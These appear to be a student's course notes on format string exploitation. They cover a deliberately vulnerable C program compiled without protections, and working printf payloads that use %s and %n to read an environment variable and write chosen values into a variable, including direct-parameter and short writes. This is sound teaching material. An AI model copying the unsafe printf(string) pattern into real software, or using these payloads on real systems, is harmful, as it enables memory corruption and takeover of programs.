Notes for Ch3_Format5

Notes for Ch3_Format5.

Lab Overview

Notes for Ch3_Format5.


Contents

    Notes for Ch3_Format5

    Setup notes: We needed to disable ASLR. This was achieved by setting the /proc/sys/kernel/randomize_va_space to “0”.

    Make note of the paramter number that hits our AAAA’s: “AAAA%4$08x” –> AAAA41414141

    So… the fourth parameter is our format string

    Now we know this, we can replace the start of our format string with an actual address that we want to write to.

    So where do we want to write to? The key variable

    We want to disassemble the program to determine the address of the key.

    When we ran the program, we saw that the program wanted us to set the value of the key to 36.

    If we disassemble main, we can see that there is the following cmp instruction, comparing the contents of eax to 0x24 (which is dec 36):

       0x56654520 <+186>:   cmp    eax,0x24
    

    We need to work backwards from here + figure out what’s getting stored in eax.

    We will open it in Ghidra to get a better control flow graph.
    

    This gives us a better understanding of what is going on. Essentially there’s a format string vuln, then a conditional check on a variable ‘key’ to compare it to 0x24 (base 10 36).

    We need to write the value 0x24 to the memory address of the key.

    We can use gdb to find the address of the key. We first break at main, then run info add key.

    You input: AAA The key is equal to 0.

    Breakpoint 2, 0x56556520 in main () (gdb) info add key Symbol “key” is at 0xb086935c in a file compiled without debugging.

    Let’s add that to the start of our format string exploit. Additionally, we need to ensure that we reverse the byte order to respect the endianness.

    echo "$(printf "\x5c\x93\x86\xb0")%x%4\$n" > ../exploit_Ch3_Format5_nTargetWrite 
    
    ./Ch3_Format5_nTargetWrite < ../exploit_Ch3_Format5_nTargetWrite 	
    

    This command ended up writing the number of characters we’ve printed so far, 12, into the key variable!

    Hint: Play around with adjusting the padding to write the required value into key

    Notes for demo:

    1) Recap

    We left with this program:

    #include <stdio.h>
    
    void printWrapper(char *string){
            printf(string); // <--- Bad use of printf()
    }
    
    int main(int argc, char *argv[]){
    
            char print_me[5012];
    
            fgets(print_me, 4096, stdin); // <--- User controls format string
    
            printWrapper(print_me);
    
            return(0);
    }
    

    demonstrative examples are compiled w/o memory protections, using: sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc -no-pie -fno-pie -z execstack -z norelro -m32 -mpreferred-stack-boundary=2 -g demo.c -o demo

    2) Reading arbitrary memory

    • Using the program from last week I am going to demonstrate how you can use the format string vulnerability in printf() to read any memory in the process’ virtual address space.

    • As we saw last time, we were able to print the contents of the stack. By passing in enough %08x templates, we saw that we were actually able to see the hexadecimal representation of our format string.

    • We can see that here by adding AAAA at the start, and as we know ascii ‘A’ == 0x41

    echo "AAAA%08x.%08x.%08x.%08x" | ./demo AAAAffcb7768.080491b2.ffcb63d4.41414141

    This pops a value from the stack and prints the hex representation of it four times. In practice, the 41414141 shows us that the fourth parameter reads from the beginning of our format string.

    As we know from last time, the %s template will print a string located at the memory address that it’s popped from the top of the stack.

    If we replaced the fourth %08x in our above example with a %s, the %s would attempt to print a string located at memory address 0x41414141. This address is not a valid address, so this would result in a segfault.

    echo "AAAA%08x.%08x.%08x.%s" | ./demo" Segmentation Fault

    If we replaced this 0x41414141 with a valid memory address, we could use the %s template to print out the contents of that memory address as a string.

    — Finding PATH

    We can run gdb to find the location that the PATH environment variable is loaded into memory.

    gdb -q ./demo break main r info var environ x/8s *((char**)environ) e.g.

    (gdb) x/8s *((char**)environ)
    0xffffd461:     "SHELL=/bin/bash"
    0xffffd471:     "SESSION_MANAGER=local/p-26-214-13-gtXA-1-c-asm-iof-desktop:@/tmp/.ICE-unix/759,unix/p-26-214-13-gtXA-1-c-asm-iof-desktop:/tmp/.ICE-unix/759"
    0xffffd4fd:     "WINDOWID=37748743"
    0xffffd50f:     "QT_ACCESSIBILITY=1"
    0xffffd522:     "COLORTERM=truecolor"
    0xffffd536:     "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0"
    0xffffd570:     "LANGUAGE="
    0xffffd57a:     "SSH_AUTH_SOCK=/tmp/ssh-SR0DqqfLGTPe/agent.628"
    

    0xffffd461 is the start of the env var string when we load it via gdb.

    When we are running programs within gdb, there may be slight differences in the memory layout. This is usually due to different environment variables.

    This is not actually going to accurately represent the memory location of PATH when we run it, as it’s going to be at a slightly different location because the length of the parameter which contains the input we used to run the program will slightly offset it.

    When we run with gdb -q ./demo, the env var SHELL is loaded into memory address 0xffffd43F.

    There are differences in the memory addresses when we run the executable via gdb. These are usually due to differences in the environment variables.

    • GDB adds a ‘LINES’ and ‘COUNT’ env var, and also has a different length program name.
    • _ contains the path to the executable that was run, which is different depending on where we’re running it from and whether we’re running /usr/bin/gdb or /home/asdf/binary_path.

    We’ll look at this in more detail in a later video, but for now we can figure it out by writing some additional code inside our program to print out the exact address.

    #include <stdio.h>
    
    void printWrapper(char *string){
            printf(string); // <--- Bad use of printf()
    }
    
    int main(int argc, char *argv[]){
    
            char print_me[5012];
    
            fgets(print_me, 4096, stdin); // <--- User controls format string
    
            printWrapper(print_me);
    
            char* ptr = getenv("SHELL");
            printf("\n\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
    
            return(0);
    }
    
    
    

    When we run it with ./demo, the env var SHELL is loaded into memory address 0xffffd468.

    echo "$(printf '\x68\xd4\xff\xff')%08x %08x %08x %s" | ./demo h���ffffd228 080491b2 ffffbe94 SHELL=/bin/bash

    We can adjust to just print the /bin/bash string, which may be useful later. echo "$(printf '\x6E\xd4\xff\xff')%08x %08x %08x %s" | ./demo i���ffffd218 080491b2 ffffbe84 /bin/bash

    3) Writing to arbitrary memory

    In order to demonstrate this, we will create a new variable in our demo program called overwrite_me and print out its address. We will then use a format string exploit to overwrite its value with something else.

    #include <stdio.h>
    
    void printWrapper(char *string){
            printf(string); // <--- Bad use of printf()
    }
    
    int main(int argc, char *argv[]){
    
            char print_me[5012];
            int overwrite_me = 0;
    
            fgets(print_me, 4096, stdin); // <--- User controls format string
    
            printWrapper(print_me);
    
            char* ptr = getenv("SHELL");
            printf("\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
    
            printf("Memory address of overwrite_me @ 0x%08x = %d 0x%08x\n", &overwrite_me, overwrite_me, overwrite_me);
    
            return(0);
    }
    
    
    ./demo
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 0 0x00000000
    
    

    With the above code we’re now able to see that the memory address of overwrite_me is at 0xffffbe8c and it contains the value 0.

    We can use a similar technique with %n rather than %s, to write to arbitrary memory.

    echo "$(printf '\x8c\xbe\xff\xff')%08x %08x %08x %08x %n" | ./demo

    ����ffffd228 080491cc ffffbe90 00000000 
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 40 0x00000028
    

    The value 40 that we have written into int overwrite_me is calculated based on the amount of characters we printed up until that point. i.e. the length of the string: "����ffffd228 080491cc ffffbe90 00000000 " in the example above.

    We can control this value easily if we adjust the field width option. We’ve been printing 8 hex characters with our %08x templates, but we can actually just adjust this 8 to a larger number to increase the amount of characters we print.

    echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo

    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 28 0x0000001c
    

    +1 echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%2x%n" | ./demo

    ����ffffd22880491ccffffbe90 0
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 29 0x0000001d
    

    +100, etc.

    This works fine for small numbers, but not for large ones like memory addresses.

    4) Field-width specifier

    If we look at the hex representation of the overwrite_me value, we can see that the end 2 values (i.e. the LSB) can be controlled quite well.

    We can use multiple writes to the memory address of the integer that we’re overwriting, offset by a byte each time, in order to write larger bits of data.

    Lets try write 0xDDCCBBAA into our overwrite_me variable to demonstrate.

    In order to do this, we’ll need to write AA first, then BB, then CC, then DD.

    First write (AA):

    echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%8x%n" | ./demo

    ����ffffd22880491ccffffbe90       0
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 35 0x00000023
    
    

    When we run our original exploit string with 8 , we have 35 (or 0x23) in the LSB.

    We can use gdb to calculate the number of characters we need to print before we hit the hex value for aa:

    (gdb) p 0xaa - 35 + 8
    $3 = 143
    

    echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%143x%n" | ./demo

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 170 0x000000aa
    

    Second write (BB):

    To write BB, we need another argument for another %x format parameter, that increments the byte count to 0xBB.

    In order to do this we need the memory addresses that we’re going to use for writes on the stack.

    $( printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%x8%n"

    ����JUNK����JUNK����JUNK����ffffd22880491ccffffbe9008
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 53 0x00000035
    
    

    As we can see, this sets 0x35 or d53 in overwrite me, and we want it to be 0xaa. We can use a width buffer of 119 characters in order to write aa to the LSB as before. echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n" | ./demo

    ����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90                                                                                                                      0
    
    
    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
    Memory address of overwrite_me @  0xffffbe8c = 170 0x000000aa
    

    In order to write bb, we can calculate the number of characters our string needs to be in 0xbb, then add a second write:

    ```(gdb) p 0xbb - 0xaa $4 = 17

    
    `echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n%17x%n" | ./demo`
    

    ����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90 0 4b4e554a

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 48042 0x0000bbaa

    
    etc.
    
    We could continue this example with the final 2 writes. If we needed a number smaller than the one we've got, we would need to increment by enough to overflow the first 2 bytes of the number.  
    
    
    ### 5) Direct Parameter Access
    
    Direct Parameter Access simplifies format string exploits.
    
    It allows parameters to be accessed directly using the `$` qualifier.
    
    `%n$d` accesses the nth parameter and displays it as a decimal number.
    
    e.g. 
    `printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);`
    `7th: 70, 4th: 00040`
    
    
    `echo "AAAA%x%x%x%x" | ./demo`
    

    AAAAffffd22880491ccffffbe900

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000

    
    vs
    
    `echo "AAAA%5\$x" | ./demo`
    

    AAAA41414141

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000

    
    DPA also simplifies the writing of memory addresses. As we can directly access memory, we don't need the 4-byte spacers of junk data to increment the byte output count anymore.
    
    `echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%5\$n" | ./demo`
    

    ����������������

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 16 0x00000010

    
    Let's write the realistic looking memory address of `0xbffffd72` into the variable test_vals.
    
    First we need to calculate the 
    
    

    (gdb) p 0x72 - 16 $1 = 98 (gdb) p 0xfd - 0x72 $2 = 139 (gdb) p 0x1ff - 0xfd $2 = 258 (gdb) p 0x1bf - 0xff $3 = 192

    
    If we only do the first 3 writes, we can see the integer overflowing into the adjacent memory space on the left. This doesn't matter in this case, as we're going to overwrite the 0x01 with our 0xbf. 
    
    It is something to think about though for the 4th write. If we're writing a number that overflows we could corrupt other variables.
    
    `echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n" | ./demo`
    

    ���������������� ffffd228 80491cc ffffbe90

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 33553778 0x01fffd72

    
    To finish, we perform the fourth write here: 
    
    `echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n%192x%8\$n" | ./demo`
    

    ���������������� ffffd228 80491cc ffffbe90 0

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = -1073742478 0xbffffd72

    
    
    ### 6) Short Writes
    
    We can use 2-byte shorts to reduce the number of writes required to write a memory address. 
    
    As the overflowed integer value past the end of the 2 byte short is dropped rather than written, the order of the writes doesn't matter. This means we could write to the higher memory address, then the lower one.
    
    e.g.
    
    `echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
    

    ����ffffd22880491ccffffbe900

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 28 0x0000001c

    
    changing the memory address to write to the first 2 bytes:
    `echo "$(printf '\x8e\xbe\xff\xff')%x%x%x%x%n" | ./demo`
    

    ����ffffd22880491ccffffbe900

    Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f Memory address of overwrite_me @ 0xffffbe8c = 1835008 0x001c0000 ```